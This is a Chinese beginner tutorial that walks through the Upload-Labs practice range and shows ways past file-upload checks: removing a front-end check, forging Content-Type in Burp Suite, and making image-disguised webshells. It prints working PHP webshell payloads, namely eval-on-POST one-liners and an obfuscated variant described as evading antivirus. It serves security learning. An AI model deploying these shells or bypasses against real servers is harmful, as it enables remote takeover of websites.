网安入门11-文件上传(前后端绕过,变形马图片马)

Upload-Labs

Upload-Labs是一个使用PHP语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。

思考:他只让我传一个.jpg的图片,我想传一个.php的木马,两者什么区别

  1. 文件类型不一样
  2. 文件大小不一样
  3. 内容不一样,php有<?php>,eval等关键字

前端校验

Pass-01
通过F12查看源代码定位发现有一个checkFile()函数,删掉即可

后端(服务端)校验-文件类型绕过

Pass-02
这一关我们故技重施发现不行了,那么就不只是前端校验了,后端也有校验
我们打开burp抓包
在这里插入图片描述
我们注意到这里面有个HTTP头叫做Content-Type,这是我上传php的
我们再上传一个jpg,看看Content-Type是什么样
这时候就变成了image-jpeg(不用在意这些乱码)
在这里插入图片描述
我们思路就来了,上传一个php,burp抓包改Content-Type,改成image/jpeg就ok啦
不改Content-Type头,回显“文件类型不正确,请重新上传”
在这里插入图片描述
改了之后,就回显了上传成功之后的相对路径

相对路径直接复制到蚁剑,连接之后就可以成功啦

​Pass-02的后端验证仅仅使用了MIME类型进行验证,这样是不安全的。我们仍然可以使用BurpSuite伪造MIME类型绕过验证。将Content-type改为image/png即可。

变形木马

如果开发网站的程序员过滤了<?php>这样的关键字,那我们该如何绕过?
可以使用Javascript代码绕过

php5适用的木马(大部分首选)
GIF89a
#define width 1337
#define height 1337
#只支持php5
<script language="php">@eval(&_POST['cmd']);phpinfo();</script>
php7适用的木马
GIF89a
#define width 1337
#define height 1337
<?=@eval(&_POST['cmd']);
免杀一句话木马(sqzr)
<?php 
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK"; 
$pjt="CRfUE9TVF"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="F6ciddKTs="; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?> 

图片木马

如果开发者限制了上传文件的大小,例如一张图片至少要大于200kb,那我们就要用到图片木马

首先,先准备一个一句话木马1.php还有一个图片2.jpg

在终端中使用语句copy 2.jpg/b+1.php/a zyh.jpg,我们的图片马就做好了
现在这个zyh.php既有图片的功能,又有木马的功能,当他后缀为jpg时,就为图片,当他后缀为php时,就为木马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/607072.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何计算指标波动贡献率?(附Pandas实现)

大家好&#xff0c;我是阿粥 “为什么这个月销售额提升了30%&#xff1f;” “为什么转化率又降了&#xff0c;同比竟然降低了42%&#xff0c;什么原因导致的呢&#xff1f;” 这些都是数据分析师在工作中经常会遇到的问题&#xff0c;甚至有些基础岗的数据分析师要花80%以上的…

静态S5在项目管理中的应用与案例分享

静态S5作为一种强大的数据分析工具&#xff0c;不仅在数据处理和可视化方面表现出色&#xff0c;还在项目管理中发挥着重要作用。本篇将通过实际案例分享&#xff0c;探讨静态S5在项目管理中的应用与优势。 一、静态S5在项目管理中的应用 项目进度管理&#xff1a;静态S5通过…

软件测试|深入理解SQL CROSS JOIN:交叉连接

简介 在SQL查询中&#xff0c;CROSS JOIN是一种用于从两个或多个表中获取所有可能组合的连接方式。它不依赖于任何关联条件&#xff0c;而是返回两个表中的每一行与另一个表中的每一行的所有组合。CROSS JOIN可以用于生成笛卡尔积&#xff0c;它在某些情况下非常有用&#xff…

音视频文件批量转换并重命名(python)

最近在 bwiki 为爱发电时&#xff0c;遇到的需求如下&#xff1a;大佬已经将角色语音解包出来&#xff0c;需要按照一定规则进行重命名&#xff0c;并将 wav 格式转换为 mp3 格式&#xff0c;方便统一上传到 bwiki。 新文件名格式为&#xff1a;角色名&#xff08;即所在子文件…

【MediaFoundation】OpenCV VideoCapture 读取音频源码

OpenCV 读取音频代码实例 在windows7 以及OpenCV4 过后可以使用 CAP_MSMF 读取音频&#xff0c;但是OpenCV没有播放音频的API。代码示例如下。 本文解析OpenCVCAP_MSMF 进行文件、设备的 音频读取&#xff0c;学习MediaFoundation 的使用。 #include <opencv2/core.hpp>…

SpringBoot-自定义监听器

Spring Boot提供了强大的事件模型&#xff0c;其中包括多种内置监听器&#xff0c;同时也支持开发者自定义监听器。通过实现ApplicationListener接口&#xff0c;开发者可以创建自己的监听器&#xff0c;并在Spring Boot应用程序中进行配置。这样一来&#xff0c;在特定的应用程…

python 函数中字典的修改会影响函数外字典的值

def modify_dict(d):d[key] new valueprint(函数中字典d的位置,id(d))# 创建一个字典 original_dict {key: old value} print(函数外字典的位置,id(original_dict))# 调用函数来修改字典 modify_dict(original_dict)# 输出原始字典的值&#xff0c;可以看到它已经被修改了 pr…

42道Java网络编程相关面试题含答案(很全)

1. 什么是网络编程 网络编程的本质是多台计算机之间的数据交换。数据传递本身没有多大的难度&#xff0c;不就是把一个设备中的数据发送给其他设备&#xff0c;然后接受另外一个设备反馈的数据。现在的网络编程基本上都是基于请求/响应方式的&#xff0c;也就是一个设备发送请…

Android系列:四大组件、五大存储、六大布局

文章目录 一、四大组件**1、activity****2、service****3、content provider****4、broadcast receiver**android四大组件总结&#xff08;1&#xff09;4大组件的注册&#xff08;2&#xff09;4大组件的激活&#xff08;3&#xff09;4大组件的关闭&#xff08;4&#xff09;…

一种DevOpts的实现方式:基于gitlab的CICD(二)

写在之前 前文已经搭建了基于gitlab的cicd环境&#xff0c;现在我们来更近一步&#xff0c;结合官网给出的案例来详细介绍如何一步一步实现CI的过程。 基于gitlab搭建一个前端静态页面 环境依赖&#xff1a; gitlabgitlab runner&#xff08;docker版本&#xff09; 环境达吉…

04、Kafka ------ 各个功能的作用解释(Cluster、集群、Broker、位移主题、复制因子、领导者副本、主题)

目录 启动命令&#xff1a;CMAK的用法★ 在CMAK中添加 Cluster★ 在CMAK中查看指定集群★ 在CMAK中查看 Broker★ 位移主题★ 复制因子★ 领导者副本和追随者副本★ 查看主题 启动命令&#xff1a; 1、启动 zookeeper 服务器端 小黑窗输入命令&#xff1a; zkServer 2、启动 …

【REST2SQL】06 GO 跨包接口重构代码

【REST2SQL】01RDB关系型数据库REST初设计 【REST2SQL】02 GO连接Oracle数据库 【REST2SQL】03 GO读取JSON文件 【REST2SQL】04 REST2SQL第一版Oracle版实现 【REST2SQL】05 GO 操作 达梦 数据库 对所有关系数据的操作都只有CRUD&#xff0c;采用Go 的接口interface{}重构代码…

C# 各数据类型 范围

https://www.cnblogs.com/m110/p/7754930.html 类型           范围                    大小 sbyte           -128 到 127               有符号 8 位整数 byte              0到255   …

Large Language Models Paper 分享

论文1&#xff1a; ChatGPTs One-year Anniversary: Are Open-Source Large Language Models Catching up? 简介 2022年11月&#xff0c;OpenAI发布了ChatGPT&#xff0c;这一事件在AI社区甚至全世界引起了轰动。首次&#xff0c;一个基于应用的AI聊天机器人能够提供有帮助、…

LeetCode_3_中等_无重复字符的最长子串

文章目录 1. 题目2. 思路及代码实现&#xff08;Python&#xff09;2.1 窗口滑动2.2 基于哈希表的窗口滑动 1. 题目 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长子串 的长度。 示例 1: 输入: s "abcabcbb" 输出: 3 解释: 因为无重复字符的最…

属性动画的使用

文章目录 1 概述2 创建属性动画页面3 属性动画参数调整延时播放时间delay的设置onFinish回调函数的使用 4 关闭属性动画页面5 参考 1 概述 属性动画&#xff0c;是最为基础的动画&#xff0c;其功能强大、使用场景多&#xff0c;应用范围较广。常用于如下场景中&#xff1a; …

第九节HarmonyOS 常用基础组件12-TextTimer

1、描述 通过文本显示计时信息并控制其计时器状态的组件。 2、接口 TextTimer(options?: {isCountDown?: boolean, count?: number, controller?: TextTimerController}) 3、参数 参数名称 参数类型 必填 描述 isCountDown boolean 否 是否倒计时。默认值&#…

Kafka与RabbitMQ的区别

消息队列介绍 消息队列&#xff08;Message Queue&#xff09;是一种在分布式系统中进行异步通信的机制。它允许一个或多个生产者在发送消息时暂时将消息存储在队列中&#xff0c;然后由一个或多个消费者按顺序读取并处理这些消息。 消息队列具有以下特点&#xff1a; 异步通…

64.网游逆向分析与插件开发-游戏增加自动化助手接口-优化自动助手与游戏焦点的切换

内容来源于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;自动化助手UI与游戏菜单的对接-CSDN博客 码云地址&#xff08;master分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/sro_-ex.git 码云版本号&#xff1a;617ac3477ef18273fb9cc2…

Linux文件系统与日志服务管理

目录 一.Linux文件系统 1.inode表和block &#xff08;1&#xff09;inode &#xff08;2&#xff09;block 2.查看inode号命令 3.Linux系统文件三种主要时间属性 4.磁盘空间还剩余很多但无法继续创建文件 5.inode大小 二.日志 1.日志保存位置 2.日志文件的分类 &a…